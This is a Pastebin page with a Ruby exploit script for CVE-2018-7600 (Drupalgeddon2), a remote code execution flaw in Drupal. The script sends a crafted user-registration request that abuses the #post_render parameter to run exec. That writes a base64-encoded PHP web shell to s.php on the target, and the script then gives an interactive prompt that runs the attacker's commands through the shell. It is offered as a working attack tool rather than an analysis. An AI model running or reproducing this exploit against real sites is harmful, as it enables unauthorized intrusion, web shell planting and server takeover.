Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env ruby
- #
- # CVE-2018-7600 | Drupal - Drupalgeddon2 RCE
- # Hans Topo | @dreadlocked
- # g0tmi1k | @g0tmi1k
- # KING SABRI | @KINGSABRI - just some enhancement
- #
- require 'base64'
- require 'json'
- require 'net/http'
- require 'openssl'
- require 'readline'
- # Proxy information (nil to disable)
- proxy_addr = nil
- proxy_port = 8080
- # Quick how to use
- if ARGV.empty?
- puts "Usage: ruby cve-2018-7600_exploit.rb <target>"
- puts " ruby cve-2018-7600_exploit.rb https://example.com"
- exit
- end
- target = ARGV[0]
- # Banner
- puts "[*] --==[::#Drupalggedon2::]==--\n\n"
- # Check input for protocol
- if not target.start_with?('http')
- target = "http://" + target
- end
- # Check input for the end
- if not target.end_with?('/')
- target += "/"
- end
- # Payload
- evil = '<?php system($_GET["c"]); ?>'
- evil = "echo " + Base64.encode64(evil).strip + " | base64 -d | tee s.php"
- # PHP function to use
- phpmethod = 'exec'
- # mail & post_render
- url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
- # Vulnerable Parameters: access_callback / lazy_builder / pre_render/ post_render
- payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
- uri = URI(url)
- http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
- # Use SSL/TLS if needed
- if uri.scheme == 'https'
- http.use_ssl = true
- http.verify_mode = OpenSSL::SSL::VERIFY_NONE
- end
- # Make the request
- req = Net::HTTP::Post.new(uri.request_uri)
- req.body = payload
- # Check response
- response = http.request(req)
- if response.code == "200"
- puts "[+] Target seems to be exploitable! w00hooOO!"
- puts "[+] PHP shell: #{target}s.php?c=CMD "
- puts "[+] Type your commands (exit to exit) and press Enter!"
- trap('INT', 'SIG_IGN')
- loop do
- command = Readline.readline('Drupalgeddon2-> ', true)
- next if command.empty?
- exit! if command =~ /exit/
- exploit_uri = URI(target + "s.php?c=#{command}")
- puts Net::HTTP.get_response(exploit_uri).body
- end
- else
- puts "[!] Target does NOT seem to be exploitable ~ Response: " + response.code
- end
Advertisement
Add Comment
Please, Sign In to add comment